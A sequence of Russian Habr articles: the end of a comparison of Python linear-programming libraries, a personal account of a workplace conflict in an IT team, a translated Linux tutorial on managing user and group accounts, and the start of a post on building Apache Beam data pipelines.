problem.solve(solver='glpk')
problem.status
print("Результат:")
print(x.value)
print("Стоимость доставки:")
print(problem.objective.value()[0])
stop = time.time()
print ("Время :")
print(stop - start)
```
Результаты решения транспортной задачи с использованием cvxopt.
**Результат:**
[ 0.00e+00]
[ 4.50e+01]
[ 0.00e+00]
[ 0.00e+00]
[ 0.00e+00]
[ 3.00e+01]
[ 2.00e+01]
[ 0.00e+00]
[ 0.00e+00]
**Стоимость доставки:**
215.0
**Время :**
0.03001546859741211
Оптимизация с библиотекой scipy. optimize.
**Листинг программы для решения транспортной задачи.**
```
from scipy.optimize import linprog
import time
start = time.time()
c = [7, 3, 6,4,8,2,1,5,9]
A_ub = [[1,1,1,0,0,0,0,0,0],
[0,0,0,1,1,1,0,0,0],
[0,0,0,0,0,0,1,1,1]]
b_ub = [74,40,36]
A_eq = [[1,0,0,1,0,0,1,0,0],
[0,1,0,0,1,0,0,1,0],
[0,0,1,0,0,1,0,0,1]]
b_eq = [20,45,30]
print(linprog(c, A_ub, b_ub, A_eq, b_eq))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результаты решения транспортной задачи с использованием scipy optimize.
fun: 215.0
message: 'Optimization terminated successfully.'
nit: 9
slack: array([ 29., 10., 16.])
status: 0
success: True
x: array([ 0., 45., 0., 0., 0., 30., 20., 0., 0.])
**Время:**
0.009982585906982422
Анализ решения двух типовых задач линейного программирования с помощью трёх библиотек аналогичного назначения не вызывает сомнения в выборе библиотеки scipy. optimize, как лидера по компактности ввода данных и быстродействию.
### Что нового для использования библиотеки scipy. optimize при решении задач линейного программирования
Получение из исходной матрицы, списка для функции цели, а также заполнение матриц неравенств A\_ub и равенств A\_eq программно, позволит упростить работу по вводу данных и увеличить размерность исходной матрицы. Это позволить решать реальные задачи оптимизации. Рассмотрим, как это можно сделать на простом демонстрационном примере, не претендующем на идеальность кода.
**Заголовок спойлера**
```
import numpy as np
from scipy.optimize import linprog
b_ub = [74,40,36]
b_eq = [20,45,30]
A=np.array([[7, 3,6],[4,8,2],[1,5,9]])
m, n = A.shape
c=list(np.reshape(A,n*m))# Преобразование матрицы A в список c.
A_ub= np.zeros([m,m*n])
for i in np.arange(0,m,1):# Заполнение матрицы условий –неравенств.
for j in np.arange(0,n*m,1):
if i*n<=j<=n+i*n-1:
A_ub [i,j]=1
A_eq= np.zeros([m,m*n])
for i in np.arange(0,m,1):# Заполнение матрицы условий –равенств.
k=0
for j in np.arange(0,n*m,1):
if j==k*n+i:
A_eq [i,j]=1
k=k+1
print(linprog(c, A_ub, b_ub, A_eq, b_eq))
```
Теперь вводиться только сама матрица A и списки правых частей b\_ub неравенств и b\_ub – равенств.
Результат рaботы программы предсказуем.
fun: 215.0
message: 'Optimization terminated successfully.'
nit: 9
slack: array([ 29., 10., 16.])
status: 0
success: True
x: array([ 0., 45., 0., 0., 0., 30., 20., 0., 0.])
### Вывод частный
При решении задач линейного программирования целесообразно использовать библиотеку scipy.optimize по методике, приведенной в статье, а матрицы условий заполнять програмно. При этом Вам не понадобятся специальные знания о методах решения оптимизационных задач.
### Вывод общий
В последнее время появились разные библиотеки Python решающие аналогичные задачи. Решение о применении той или иной библиотеки часто носит субъективный характер. Поэтому целесообразно проводить их сравнительный анализ для области решаемых Вами задач.
### Ссылки
1. [pythonhosted.org/PuLP](https://pythonhosted.org/PuLP/)
2. [cvxopt.org/userguide/modeling.html](http://cvxopt.org/userguide/modeling.html)
3. [docs.scipy.org/doc/scipy/reference/tutorial/optimize.html](https://docs.scipy.org/doc/scipy/reference/tutorial/optimize.html) | https://habr.com/ru/post/330648/ | null | ru | null |
# Как моя жизнь превратилась в книгу Кафки
Это печальная и долгая история и о взаимоотношениях в IT-коллективе, и корпоративной культуре, и о совместной разработке. Надеюсь, кому-то она поможет не совершать наших ошибок и выстроить лучшие отношения с коллегами.
### Вступление
В конце марта 2018 я начала работать, как мне казалось, в надежной и симпатичной шведской компании с большим IT-отделом в 200 человек. Я мечтала участвовать много в разработке новых приложений на Java, лучше узнать фреймворки семейства Spring, учиться новым технологиям (до этого случайно угодила в компанию, где всё ещё пользовались SVN), участвовать в интересных дискуссиях, получать и оставлять адекватные комментарии в Code Review (а не заморачиваться только на пробелах и отступах) — одним словом, быть частью профессионального коммьюнити и иметь возможность развиваться как специалист. Небезызвестная шведская корпоративная культура и пестрый международный коллектив подбадривали меня и укрепляли в моих надеждах на наше с компанией плодотворное сотрудничество.
В первые месяцы я действительно могла сказать, что нашла всё то, что искала. Я быстро погрузилась в разработку, приняла участие в выпуске MVP, узнала много нового и даже выучила Kotlin, что позволило мне внести посильный вклад и в другие проекты.
Но моё счастье длилось недолго…
### Рекрутинг
В начале сентября в нашей команде появился новый сотрудник, для простоты назову его Джанни (потомок итальянцев, переехавших в Бразилию). Наша тим-лидерша Кира и сениоры, которые его собеседовали, особенных восторгов не выражали, но почему-то он покорил сердце Кириного начальника Кима (ввожу сейчас много вымышленных имен).
В отличие от всех наших расслабленных девелоперов (которые устроили чуть ли не забастовку, когда их попросили не надевать бермуды летом на работу) Джанни выглядел именно что блестяще: в любые +35 в брюках, рубашке с длинным рукавом, черных начищенных ботинках. Он с порога попросил зарплату поболее, чем у наших сениоров, и заявил, что «на трубке» у него еще пять предложений о работе. Видимо, под давлением всех этих неоспоримых аргументов Ким решил удовлетворить все запросы амбициозного молодого человека, несмотря на протесты Киры. Испытательный срок у нас длится полгода, так что решили взять и попробовать.
Интересно, что Джанни позиционировал себя как Java-Spring-сениора, хотя, как я узнала позже, в реальности несколько лет проработал с PHP, а перед приходим к нам — лишь с одним проектом на джаве.
### Первые шаги
Поскольку мне достался онбординг нового коллеги, я провела довольно много времени с ним в его первые дни. Всё выглядело в общем и целом нормально, если не считать того, что частенько он продолжал пялиться в телефон даже во время нашего с ним разговора, а иногда — игнорировал всё, что я говорила.
Первым же рабочим заданием Джанни стало налаживание нашей Кибаны. Новый релиз должен был состояться через 2 недели, и все решили, что подробным ознакомлением с нашим приложением ему лучше будет заняться позже. А для Кибаны срок в две недели подходил как раз (в компании для неё уже была налажена вся инфраструктура, надо было только прикрутить её к нашему приложению).
Через месяц — после релиза, продолжительных страданек о том, как сложно настраивать logback, и некоторых препирательств в девопсами (которые, естественно, не хотят работать) — Кибана была закончена. И, несмотря на то, что у нас шел период активного исправления багов разного калибра в одном большом приложении и двух микросервисах (можно было найти себе что-нибудь по душе), Джанни стал настраивать Графану.
Графана заняла в общей сложности два месяца. Первые недели полторы ушли на то, чтобы под каждым выкинутым эксепшеном написать строчку со сбором метрики и запушить это в код ревью. Практически сразу после публикации я оставила комментарий о том, что для сбора метрик неплохо подходит AOP-компонент, и вторые полторы недели Джанни, по его словам, читал про AOP вообще, про AOP в спринге в частности, чтобы решить, разумна ли моя идея. Только после того, как в ревью пришли другие разработчики, он начал её имплементировать.
Я помню день, когда у меня действительно было много работы: наш сениор Карл уехал в отпуск, мне надо было вводить в курс дела новую разработчицу Сару, а количество тиккетов не давало забыть и о своих основных обязанностях. Джанни подошел ко мне, заявив, что пытается погрузиться в AOP и что для того, чтобы окончательно понять, что бы я хотела там видеть, ему нужна либо сессия парного программирования, либо idea snippet (что бы это ни было).
Мне тогда казалось, что прикручивание аспектов к приложению на спринге состоит примерно из трёх компонентов:
* добавление зависимости;
* дизайн компонентов;
* создание классов с нужными аннотациями.
Технических трудностей у продвинутого Джава-пользователя не должен был вызвать, по моим прикидкам, ни один из них, а вот времени организация классов могла занять довольно много. В общем, чтобы не отвлекаться от своих багов и не навязывать человеку свой вкус, я предпочла подготовить сниппет кода со всевозможными вариациями на тему того, какие возможности для экономии сил и времени открывает AOP.
Имплементация после этого затянулась еще на две недели. То Java не компиллилась, то метрики не добавлялись. Вопросов ни ко мне, ни к другим разработчикам не было, все страдания переносились в одиночку.
Параллельно с этим стали происходить какие-то другие странные события. Их было довольно много, но я хорошо запомнила вот эти два.
1. `Мы сидим на семинаре по Докеру с одним из наших девопсов. Я специально пришла послушать именно этого человека, он показывает презентации, отвечает на все вопросы, мы обсуждаем синтаксис и порядок строк докер-файла, в кои-то веки я что-то понимаю. Джанни перебивает нашего девопса и, не обращая внимание на других участников семинара, начинает с интонацией "я разговариваю с пятилетним ребенком" мне "объяснять", что докер -- это как такой компьютер в себе, который позволяет запустить любой код в любых условиях.`
2. `Джанни (громко, на всю комнату): "Алина, хочешь, я пришлю тебе приглашение на онлайн-конференцию от Амазона?"
Я: "Конечно, давай посмотрю."
Джанни (еще громче, так, чтобы все слышали): "Но тогда тебе надо будет выучить Д-О-К-Е-Р, а то ты ничего не поймешь."`
### Дальше — больше
Я начала жаловаться на Джанни членам своей семьи и друзьям. На работе же мы с Карлом начали высказывать нашей тим-лидерше Кире недовольство и качеством Джанниной работы (разработка шла медленно и со скрипом), и его поведением. Она к тому времени уже тоже огребла небольшую порцию неуважения от него, поэтому смогла понять наши чувства и попыталась донести всю эту информацию до Кима. Ким молчал.
В октябре сам Джанни заявил о том, что мы с Карлом устроили ему «дедовщину» и не желаем принимать в свой тесный кружок (интересно, что пришедшая после него Сара уже давно переняла на себя большое количество разнообразных задач, а у Джанни в тот момент была в разгаре любовь с настройкой AOP в спринге). Кира быстро организовала нам сессию с медиатором, на которой мы должны были откровенно поговорить о наших чувствах :) Таких сессий у нас в итоге было три, вот некоторые из тех вещей, которые там происходили:
* `Джанни назвал мой code snippet по AOP просто калькой ответов с форума (ответом "на отвали" на его просьбу о помощи);`
* `Джанни напомнил мне, что я плохо знаю докер;`
* `Он же обвинил меня в том, что я переименовала поле и сломала контракт с фронтэндом (на тот момент у нас не было интеграции с фронтэндом, так что я просто переименовала поле и проапдейтила документацию);`
* `На меня посыпались саркастические шутки о моих формулировках на английском, а медиатор над ними мило поржал;`
* `Джанни на меня кричал.`
В итоге он выглядел как расслабленный пацанчик, который ратует за чистоту нашего кода, а я — как неврастеничный монстр.
В конце октября я начала приносить домой новости о Джанни каждый день: то опять про AOP пожалуется, то на девопсов нагонит, то «пошутит» про польских женщин, что они все легкого поведения. Одновременно у нас началась разработка нового большого приложения с новым PO, который, как и Ким, был покорен серьезным настроем Джанни и огромным количеством задаваемых им детальнейших вопросов.
Примерно в то время у нас в отделе появился новый сотрудник — архитектор по имени Хуан, парень неглупый, но не переносящий своей неправоты. Вместе с Джанни они с энтузиазмом стали планировать новое приложение. Вот некоторые темы, на обсуждение которых мы убили несколько часов:
* Обилие интерфейсов в спринге (наш аргумент о том, что это рекомендованная спрингом практика, не канал);
* Валидаторы в контроллере: делать свои или добавить их с помощью аннотаций (они в итоге отказались от аннотаций);
* Делить проект на менее зависимые друг от друга gradle-модули или оставить монолитом;
* Можно ли в вычислительном модуле использовать static методы, или кругом надо насадить Spring-сервисы.
С моей точки зрения, большинство этих позиций является делом вкуса, но Хуан и Джанни продолжали и продолжали спорить. Каждое их новое предложение начиналось примерно одинаково: «Ваша старая реализация неправильная, нам нужно что-то другое».
К концу ноября первые имплементации были готовы: Джанни и Сара вместе разрабатывали POC модели базы данных, а мы с Карлом начали делать вычислительный модуль. В этот момент проблемами в нашей коллективе, как мы думали, наконец-то заинтересовался Ким и провел со мной, Карлом и Джанни беседы. Я честно ему рассказала, что не чувствую в себе сил продолжать работу в таком агрессивном режиме и дальше, что хотела бы сменить команду. Он ответил: «ОК». И ничего не произошло.
Я пыталась опять поднять этот вопрос с нашей Кирой, и она мне сказала, что ни медиатор, ни Ким мне особенно не верят, считая меня слишком чувствительной. Я уговаривала её пойти в HR, к начальнику Кима, к основателю компании — лишь бы донести эти истории до других сотрудников, но она лишь утверждала, что мне и ей никто не поверит. И да, она знала, что я работаю лучше. И нет, мне бы не подняли бы зарплату до его уровня. В этот момент я впервые вспомнила книги Франца Кафки.
Напомню, что до конца февраля Джанни всё ещё находился на испытательном сроке. И уволить его было бы очень просто. Но нам всё время преподносилось, что компания хочет дать ему второй, третий, распоследний шанс и что увольнять у нас не принято.
### Решение созревает
В декабре нам пришел запрос на разработку новой фичи в приложении старом. Задание и сроки были довольно амбициозными, но для четырех бекэндеров это должно было быть вполне по силам.
Только на деле девелоперов было трое: Джанни к этому не прикоснулся вообще. Кира, неоднократно подчеркивавшая всю важность и приоритетность этого таска, конечно же, спрашивала его, что происходит. Один раз он он соврал, что я забрала все тиккеты себе (их было примерно 20!!!), другой раз — что Карл ему запретил. Джанни полностью погрузился в новое приложение, начав не только (без запроса) ревьюировать весь код, написанный мной и Сарой, но и рассказывать фронтэндерам, как им надо писать Angular.
`Лирическое отступление:
У нас было много работы. Но это не мешало ему меня отвлекать.
Джанни (громко): "Алина, ты не могла бы ко мне подойти?"
я: "Я сейчас занята, но если быстро смогу решить твою проблему, то давай."
Джанни: "Да, тут есть место, которое мне непонятно"
Я подхожу и вижу, что на экране у него класс, написанный мной, в котором названия методов заменены на "ааа" и "bbb". До меня начинает что-то доходить: "Это какой-то тест? Я думала, тебе что-то непонятно."
Джанни: "Нет-нет, я хочу от тебя услышать, что делает этот метод. Я вижу, что и ты не можешь сама понять, что он делает, потому что он плохо написан."
я: "Я вообще-то могу понять, что тут написано, но если ты хочешь переделать, то просто пришли мне код ревью, я посмотрю."
Джанни: "Ну ты видишь? и тут у тебя неправильно, и тут некрасиво, и тут неразумно?"
я: "Пришли мне код ревью, мне так легче понять."
Джанни: "Но тогда ты никогда не научишься."
я (громко): "Я не просила тебя меня учить."
Джанни и другие коллеги бросают на меня взгляд, как на истеричку.`
Под конец Джанни взял себе одно подзадание по новой фиче и просидел с ним полтора дня, ничего не родив. Я не знаю, стоит ли говорить о том, что мы с Сарой справились с ним за полчаса, но я точно знаю, что стоит упомянуть, что потом на наш код обрушился шквал Джанниной критики.
У меня начались проблемы со сном. Я просыпалась по ночам и валялась до утра. В тот момент я окончательно решила, что по возвращении с новогодних каникул поставлю вопрос ребром. Оказалось, что и у других людей был свой план.
### Кульминация
На январь Хуан и Джанни запланировали маленькую революцию: они подготовили презентации для Кима о проблемах нашего отдела. Хуан (который, видимо, метил в тимлиды) рассказывал об организаторских провалах Киры, а Джанни — показывал «фейлы» нашего кода за последние два месяца, заботливо собранные по всем нашим приложухам. Состоялось закрытое совещание (на которое не позвали ни меня, ни Сару, ни Карла), где куча разрабов из других отделов и Ким слушали их доклады и решали, кто прав, а кто — виноват. Другие разрабы оказались людьми адекватными, и от всего этого особого удовольствия не испытали. Но Ким, кажется, не особенно хотел их слушать. И тут неожиданно выяснилось, что помимо нашего конфликта с Джанни параллельно существует конфликт между Кирой и Кимом.
Январь был месяцем многочисленных переговоров: наша цель (на этом месте к нам уже присоединился весь фронтэнд) была прямо заявить Киму, что Кира — хороший тимлид и что мы не хотим больше работать с Джанни. Ким тщательно избегал разговора, пытаясь собрать с нас разрозненные отличающиеся показания. Я не могла понять, почему он просто не может найти время, чтобы встретиться со всеми нами и увидеть, что нас много.
В один день Джанни наорал на Сару. Да, без разрешения закоммитил много непонятных вещей в её бранч и сильно разозлился, когда она их ревертнула. Я стала ему объяснять, что мы так не работаем, и он наорал еще и на меня. Мы пошли в HR. Милый молодой человек Том поговорил со всеми участниками конфликтной ситуации и решил, что мы с Сарой всё придумали. Кафка преувеличивал, говорите?
К февралю моё и не только моё психологическое состояние было уже далеко от нормального. Комфортно работать в офисе я могла только с утра, пока Джанни еще не было. Как только он приходил, я начинала подспудно ожидать или новой «конструктивной» критики всё моей работы, или нового повода поспорить и выставить меня дурой, или нового крика.
Каким-то образом история все-таки дошла до главного по всем разработчикам — шведа Макса. Он специально прилетел из Стокгольма и несколько раз по очереди выслушал Киру и Кима. И… несколько раз ответил Кире, что надо всё-таки уметь уживаться с разными людьми.
К счастью, Макс догадался также выслушать точку зрения разработчиков, т.е. нашу. Лично я даже не знала, с какого момента начать свой рассказ, тем более что девелоперские навыки нашего «любимого» коллеги мы решили не затрагивать — мы хотели упирать только на поведенческий аспект. Если честно, я несильно надеялась, что смогу выступить уверенно, тем более что в предыдущие разы Джанни выглядел намного убедительнее меня (и всех остальных).
Но удивительным образом — именно после разговора с самим Джанни — Макс принял решение о его увольнении. Если честно, я до сих пор не могу нормально порадоваться этому: так долго я ждала. Но теперь я могу нормально спать и разговаривать со своими близкими и о других вещах.
### Жизнь после
Как ни странно, оказалось, что у Джанни среди тех, кто с ним не работал, было довольно много поклонников. Любителю Котлина он заливал, что в свободное время делает своё приложение на Котлине, с фанатом длинных дискуссий Хуаном вёл долгие теоретические беседы о смысле респонс-кода 404, с анти-друзьями Карла прошелся по всем Карловым недостаткам.
Некоторые из этих людей обвинили нашу группку в моббинге (травле сотрудника), некоторые — перестали разговаривать (здороваться, прощаться, ходить с нами и с теми, кто ходит с нами, на обед), некоторые до сих пор считают его гениальнейшим разрабом, у которого есть небольшие проблемы с коммуникацией. Один из них даже начал по мелочи портить наши приложения: поменял некоторые пароли, удалил сбилдованные микросервисы из репозитория. Мы это переживём, наверное, но доверия теперь не вернешь.
Когда я думаю о том, что я могла бы сделать иначе, я прихожу к выводу, что единственной правильной для меня стратегией было бы сменить команду/отдел еще в октябре и не мучить себя всеми этими психологическими играть. Всё остальное не сработало бы, я точно знаю. | https://habr.com/ru/post/441528/ | null | ru | null |
# Основы Linux от основателя Gentoo. Часть 3 (3/4): Управление аккаунтами в Linux
Продолжение третьей части серии руководств Linux для новичков. Основы управления пользователями и группами.
> [](http://www.gnu.org/graphics/3dbabygnutux.html)
>
> ##### **Навигация по основам Linux от основателя Gentoo:**
>
>
>
> ###### Часть I:
>
> 1. [BASH, основы навигации](http://habrahabr.ru/blogs/linux/99041/ "BASH: основы навигации (вступление)")
> 2. [Управление файлами и директориями](http://habrahabr.ru/blogs/linux/99291/ "Управление файлами и директориями")
> 3. [Ссылки, а также удаление файлов и директорий](http://habrahabr.ru/blogs/linux/99653/ "Ссылки, а также удаление файлов и директорий")
> 4. [Glob-подстановки](http://habrahabr.ru/blogs/linux/99827/ "Glob-подстановки (итоги и ссылки)")
>
> ###### Часть II:
>
> 1. [Регулярные выражения](http://habrahabr.ru/blogs/linux/102442/ "Регулярные выражения (вступление)")
> 2. [Назначения папок, поиск файлов](http://habrahabr.ru/blogs/linux/105495/ "Назначения папок, поиск файлов")
> 3. [Управление процессами](http://habrahabr.ru/blogs/linux/105657/ "Управление процессами")
> 4. [Обработка текста и перенаправления](http://habrahabr.ru/blogs/linux/105926/ "Обработка текста и перенаправления")
> 5. [Модули ядра](http://habrahabr.ru/blogs/linux/107981/ "Модули ядра (итоги и ссылки)")
>
> ###### Часть III
>
> 1. [Документация](http://habrahabr.ru/blogs/linux/108764/ "Документация")
> 2. [Модель прав доступа](http://habrahabr.ru/blogs/linux/109392/)
> 3. **Управление аккаунтами**
> 4. Настройка окружения
>
Управление аккаунтами в Linux
-----------------------------
### Знакомьтесь, /etc/passwd
В этом разделе мы познакомимся с механизмом управления аккаунтами в Linux и начнем с файла */etc/passwd*, в котором определены все пользователи, которые существуют в системе. Вы можете посмотреть свой файл */etc/passwd*, набрав команду *less /etc/passwd*. Каждой строкой в */etc/passwd* определяется аккаунт пользователя. Вот пример из моего */etc/passwd*:
`drobbins:x:1000:1000:Daniel Robbins:/home/drobbins:/bin/bash`
Как видите, в одной строке не так уж много информации. Каждая из них содержит несколько полей, разделённых ":". Первое поле отвечает за имя пользователя (drobbins), второе поле содержит «x». На устаревших Linux-системах второе поле содержало зашифрованных пароль для аутентификации, но фактически, сейчас все Linux-системы хранят эту информацию в другом файле. Третье поле отвечает за числовой пользовательский идентификатор, связанный с конкретным пользователем, а четвертое поле ассоциирует этого пользователя с конкретной группой; скоро мы увидим, где определена группа 1000. Пятое поле содержит текстовое описание аккаунта, в нашем случае это имя пользователя. Шестое поле определяет домашний каталог пользователя, седьмое — устанавливает стартовую оболочку пользователя, которая будет автоматически запускаться когда пользователь входит в систему.
### /etc/passwd, советы и хитрости
Вы вероятно заметили, что в системе намного больше пользовательских аккаунтов, которые определены в /etc/passwd, чем тех, которые логинятся в систему на самом деле. Всё это потому, что различные компоненты Linux используют некоторые аккаунты для повышения безопасности. Обычно, такие системные аккаунты имеют идентификатор (uid) меньший 100, и у многих из них в качестве стартовой оболочки установлена /bin/false. Так как эта программа ничего не делает, кроме как выходит и возвращает код ошибки, это эффективно препятствует использованию этих аккаунтов в качестве обычных аккаунтов для логина — т.е. они предназначены только для внутрисистемного пользования.
### /etc/shadow
Итак, сами пользовательские аккаунты определены в */etc/passwd*. Системы Linux вдобавок к */etc/passwd* содержат его файл-компаньон */etc/shadow*. Он, в отличие от */etc/passwd*, доступен для чтения только суперпользователю и содержит зашифрованную информацию о паролях. Взглянем на образец строки из */etc/shadow*:
`drobbins:$1$1234567890123456789012345678901:11664:0:-1:-1:-1:-1:0`
Каждая строка определяет информацию о пароле конкретного аккаунта, поля в ней разделены знаком ":". Первое поле определяет конкретный пользовательский аккаунт, которому соответствует данная «теневая» запись. Во втором поле содержится зашифрованный пароль. Оставшиеся поля описаны в таблице ниже:
поле 3 — количество дней с 01.01.1970 до момента, когда пароль был изменен
поле 4 — количество дней до того, как будет разрешено сменить пароль («0» — «менять в любое время»)
поле 5 — количество дней до того, как система заставит пользователя сменить пароль ("-1" — «никогда»)
поле 6 — количество дней до истечения срока действия пароля, когда пользователь получит предупреждение об этом ("-1" — «не предупреждать»)
поле 7 — количество дней после истечения срока действия пароля, по прошествии которых аккаунт будет автоматически отключен системой ("-1" — «не отключать»)
поле 8 — количество дней, прошедшее с момента отключения этого аккаунта ("-1" — «этот аккаунт включен»)
поле 9 — зарезервировано для будущего использования
### /etc/group
Теперь взглянем на файл */etc/group*, который определяет группы в системе Linux. Вот примерная строка из него:
`drobbins:x:1000:`
Формат полей файла */etc/group* следующий: первое поле определяет имя группы, второе поле — это поле остаточного пароля, которое сейчас просто зарезервировано x, и третье поле определяет числовой идентификатор для конкретной группы. Четвертое поле (которое пусто в примере выше) определяет всех членов группы.
Вспомните, что в нашем образце строки из */etc/passwd* есть «ссылка» на группу с идентификатором 1000. Мы сможем поместить пользователя drobbins в группу drobbins, даже несмотря на отсутствие имени drobbins в четвертом поле /etc/group.
### Примечания о группах
Замечание насчет соответствия пользователей с группами: на некоторых системах каждый новый логин-аккаунт связан с группой, имеющей то же имя (и обычно идентификатор). На других системах все логин-аккаунты будут принадлежать к одной группе пользователей. Какой из этих методов выбрать зависит от вас. Создание соответствующей группы для каждого пользователя имеет преимущество в том, что позволяет им более легко контролировать их собственный доступ просто помещая доверенных друзей в свою личную группу.
### Ручное создание пользователей и групп
Теперь, я покажу как создать аккаунты для пользователя и группы. Лучший путь узнать как это сделать это добавить нового пользователя в систему вручную. Для начала убедитесь что вашей переменной окружения EDITOR соответствует ваш любимый редактор:
`# **echo $EDITOR**
vim`
Если это не так, то вы можете установить переменную EDITOR, набрав что-то, вроде:
`# **export EDITOR=/usr/bin/emacs**
# **vipw**`
Теперь ваш редактор должен быть запущен с уже загруженным /etc/passwd экране. Изменяя системные файлы passwd и group обязательно используйте команды vipw и vigr. Они имеют повышенные меры предосторожности, оберегая ваши файлы от участи быть испорченными.
### Редактирование /etc/passwd
Итак, у вас уже есть готовый файл /etc/passwd, добавьте теперь следующую строку:
`testuser:x:3000:3000:LPI tutorial test user:/home/testuser:/bin/false`
Мы только что добавили пользователя «testuser» с идентификатором 3000. Мы определили его в группу с таким же идентификатором, которую еще не создали. Но мы можем добавить его к уже имеющейся группе пользователей, если нужно. У этого пользователя установлен комментарий, гласящий «LPI tutorial test user», домашний каталог установлен как "/home/testuser", а командная оболочка — как "/bin/false", в целях безопасности. Если бы мы создавали не тестовый аккаунт, мы бы установили командную оболочку как "/bin/bash". Отлично, теперь сохраните файл и выходите.
### Редактирование /etc/shadow
Сейчас нам нужно добавить запись в */etc/shadow* для этого пользователя. Для этого наберите *vipw -s*. Вас как всегда встретит ваш любимый редактор в котором уже открыт файл */etc/shadow*. Теперь скопируйте строку существующего пользовательского аккаунта (того, у которого есть пароль и запись которого длиннее стандартных записей системных аккаунтов)
`drobbins:$1$1234567890123456789012345678901:11664:0:-1:-1:-1:-1:0`
Замените имя пользователя в скопированной строке на имя вашего пользователя и убедитесь что все поля (особенно старый пароль) установлены как вам надо:
`testuser:$1$1234567890123456789012345678901:11664:0:-1:-1:-1:-1:0`
Теперь сохраните и закройте.
### Установка пароля
Вы вернетесь к командной строке. Теперь, самое время задать пароль для вашего нового пользователя.
`# **passwd testuser**
Enter new UNIX password: (enter a password for testuser)
Retype new UNIX password: (enter testuser's new password again)`
### Редактирование /etc/group
Теперь */etc/passwd* и */etc/shadow* готовы и самое время как следует настроить */etc/group*. Для этого, наберите:
`# **vigr**`
Перед вами появится ваш */etc/group* файл, готовый для редактирования. Итак, если ранее вы решили добавить созданного пользователя к уже имеющейся группе, то вам не понадобиться создавать новую группу в */etc/groups*. Если это не так, вам нужно добавить новую группу для этого пользователя, введите следующую строку:
`testuser:x:3000:`
Теперь сохраните и закройте.
### Создание домашней директории
Мы почти закончили. Выполните следующие команды для создания домашнего каталога testuser'а:
`# **cd /home**
# **mkdir testuser**
# **chown testuser:testuser testuser**
# **chmod o-rwx testuser**`
Наш каталог пользователя на месте и аккаунт готов к использованию. Уже почти готово. Если вы собираетесь использовать этот аккаунт, вам надо будет воспользоваться vipw для смены стартовой оболочки на */bin/bash*, так, чтобы пользователь смог войти.
### Утилиты администрирования учетных записей
Вы уже знаете как вручную добавить новые аккаунты и группы, давайте же теперь рассмотрим различные, экономящие время, утилиты для управления аккаунтами под Linux. Из-за некоторых ограничений мы не будем рассматривать множество деталей, описывающих эти команды. Запомните — вы всегда можете получить больше информации о какой-либо команде если посмотрите её man-страничку. Если вы планируете сдавать LPIC 101 экзамен, вам следует провести побольше времени на ознакомление с каждой из этих команд.
newgrp — По умолчанию, любой файл, который создает пользователь, сразу же присваивается к группе, в которой он состоит, определенной в */etc/passwd*. Если пользователь принадлежит к другим группам, он или она может набрать newgrp thisgroup чтобы стать членом группы thisgroup. Затем, любые новые созданные файлы унаследуют членство в thisgroup.
*chage* — Команда chage используется для просмотра и изменения настроек срока действия паролей, сохраненных в /etc/shadow.
*gpasswd* — Основная утилита управления группами
groupadd/groupdel/groupmod — Используются для добавления/удаления/изменения групп в /etc/group
*useradd/userdel/usermod* — Используются для добавления/удаления/изменения пользователей в */etc/passwd*. Эти команды могут выполнять и другие полезные функции. Смотрите man для получения дополнительной информации.
*pwconv/grpconv* — Используются для преобразования *passwd* и *group* файлов старого образца в новые shadow passwords. Фактически, все Linux системы уже используют shadow passwords, так что вам никогда не придется использовать эти команды.
Перевод выполнил коллективный разум с помощью [notabenoid.com](http://notabenoid.com). Спасибо следующим benoid-юзерам (в алфавитном порядке): **kindacute**, **nekjine**, **Rich**. А также инициатору всей серии переводов, [VBart](https://habrahabr.ru/users/vbart/).
**Продолжение следует...**
---
Об авторах
----------
### Daniel Robbins
Дэниэль Роббинс — основатель сообщества Gentoo и создатель операционной системы Gentoo Linux. Дэниэль проживает в Нью-Мехико со свой женой Мэри и двумя энергичными дочерьми. Он также основатель и глава [Funtoo](http://www.funtoo.org/), написал множество технических статей для [IBM developerWorks](http://www.ibm.com/developerworks/), Intel Developer Services и C/C++ Users Journal.
### Chris Houser
Крис Хаусер был сторонником UNIX c 1994 года, когда присоединился к команде администраторов университета Тэйлора (Индиана, США), где получил степень бакалавра в компьютерных науках и математике. После он работал во множестве областей, включая веб-приложения, редактирование видео, драйвера для UNIX и криптографическую защиту. В настоящий момент работает в Sentry Data Systems. Крис также сделал вклад во множество свободных проектов, таких как Gentoo Linux и Clojure, стал соавтором книги [The Joy of Clojure](http://joyofclojure.com).
### Aron Griffis
Эйрон Гриффис живет на территории Бостона, где провел последнее десятилетие работая в Hewlett-Packard над такими проектами, как сетевые UNIX-драйвера для Tru64, сертификация безопасности Linux, Xen и KVM виртуализация, и самое последнее — платформа [HP ePrint](http://hpeprint.com/). В свободное от программирования время Эйрон предпочитает размыщлять над проблемами программирования катаясь на своем велосипеде, жанглируя битами, или болея за бостонскую профессиональную бейсбольную команду «Красные Носки». | https://habr.com/ru/post/110012/ | null | ru | null |
# Создаем конвейер потоковой обработки данных. Часть 1
Всем привет. Друзья, делимся с вами переводом статьи, подготовленным специально для студентов курса [«Data Engineer»](https://otus.pw/lVQx/). Поехали!
Apache Beam и DataFlow для конвейеров реального времени
-------------------------------------------------------
Сегодняшний пост основан на задаче, которой я недавно занимался на работе. Я был действительно рад, воплотить её и описать проделанную работу в формате блогпоста, поскольку это дало мне возможность позаниматься дата-инжинирингом, а также сделать что-то, что было бы весьма полезным для моей команды. Не так давно я обнаружил, что в наших системах хранится достаточно большой объем пользовательского лога, связанных с одним из наших продуктов для работы с данными. Оказалось, что никто не использовал эти данные, поэтому я сразу заинтересовался тем, что мы могли бы узнать, если бы начали регулярно анализировать их. Однако на пути было несколько проблем. Первая проблема заключалась в том, что данные хранились во многих различных текстовых файлах, которые не были доступны для мгновенного анализа. Вторая проблема заключалась в том, что они были сохранены в закрытой системе, поэтому я не мог использовать ни один из моих любимых инструментов для анализа данных.
Мне предстояло решить, как сделать доступ для нас проще и привнести хоть какую-нибудь ценность, встроив этот источник данных в некоторые из наших решений по взаимодействию с пользователями. Поразмыслив некоторое время, я решил сконструировать конвейер для передачи этих данных в облачную базу данных, чтобы я и команда могли получить к ним доступ и начать генерировать какие-либо выводы. После того, как я закончил специализацию Data Engineering в Coursera некоторое время назад, я горел желанием использовать в проекте некоторые инструменты из курса.
